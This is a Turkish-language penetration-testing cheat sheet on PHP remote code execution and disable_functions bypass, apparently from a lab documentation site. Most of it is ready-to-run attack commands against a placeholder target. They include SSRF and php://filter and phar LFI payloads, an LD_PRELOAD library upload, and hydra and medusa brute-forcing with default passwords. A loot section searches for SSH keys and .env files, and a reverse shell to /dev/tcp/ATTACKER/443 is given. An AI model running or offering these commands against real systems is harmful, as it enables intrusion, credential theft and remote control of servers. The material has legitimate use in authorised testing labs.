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disable_functions bypass - PHP 4 )= 4.2.0, PHP 5 pcntl_exec

PHP rce

PHP yüzeyleri: filter/phar deser, SSRF (curl/file), disable_functions bypass (LD_PRELOAD, imagick, FFI, CGI). Hedef lab IP’si üzerinde komutları 80 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

Section titled “Metodoloji”

  1. PHP info/sürüm.

  2. Sink bul.

  3. Bypass tekniği seç.

  4. PoC komut.

Keşif

Section titled “Keşif”
Terminal window
curl -s https://TARGET/phpinfo.php | grep -iE 'disable_functions|open_basedir|PHP Version'
Terminal window
nuclei -u https://TARGET -tags php

SSRF/LFI

Section titled “SSRF/LFI”
Terminal window
curl -vk 'https://TARGET/?url=http://127.0.0.1:6379/'
Terminal window
curl -vk 'https://TARGET/?page=php://filter/convert.base64-encode/resource=../config.php'
Terminal window
curl -vk 'https://TARGET/?file=phar://upload/evil.phar'

disable_functions

Section titled “disable_functions”
Terminal window
curl -F 'file=@exp.so' https://TARGET/upload
mail()/putenv LD_PRELOAD; imagick; FFI; mod_cgi bash
Terminal window
python3 bypass_disable.py https://TARGET

Derin enum

Section titled “Derin enum”

disable_functions bypass - PHP 4 )= 4.2. için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p80 TARGET
Terminal window
nmap -Pn -p80 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:80' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',80));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → disable_functions bypass - PHP 4 )= 4.2.

Kimlik & brute (ek)

Section titled “Kimlik & brute (ek)”
Terminal window
hydra -L users.txt -P rockyou.txt -s 80 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 80
Terminal window
nmap -p80 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test

Exploit arama

Section titled “Exploit arama”
Terminal window
searchsploit PHP
Terminal window
msfconsole -q -x 'search PHP; exit'
Terminal window
nuclei -u https://TARGET:80 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:80 -tags tech -silent || true

Manuel protokol

Section titled “Manuel protokol”
Terminal window
nc -nv TARGET 80
Terminal window
printf '
' | timeout 3 nc -nv TARGET 80
Terminal window
curl -vk --http1.0 http://TARGET:80/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

Section titled “Post-erişim & loot”
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt

Operasyon checklist

Section titled “Operasyon checklist”
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

Section titled “Zincir”
info → sink → bypass → command exec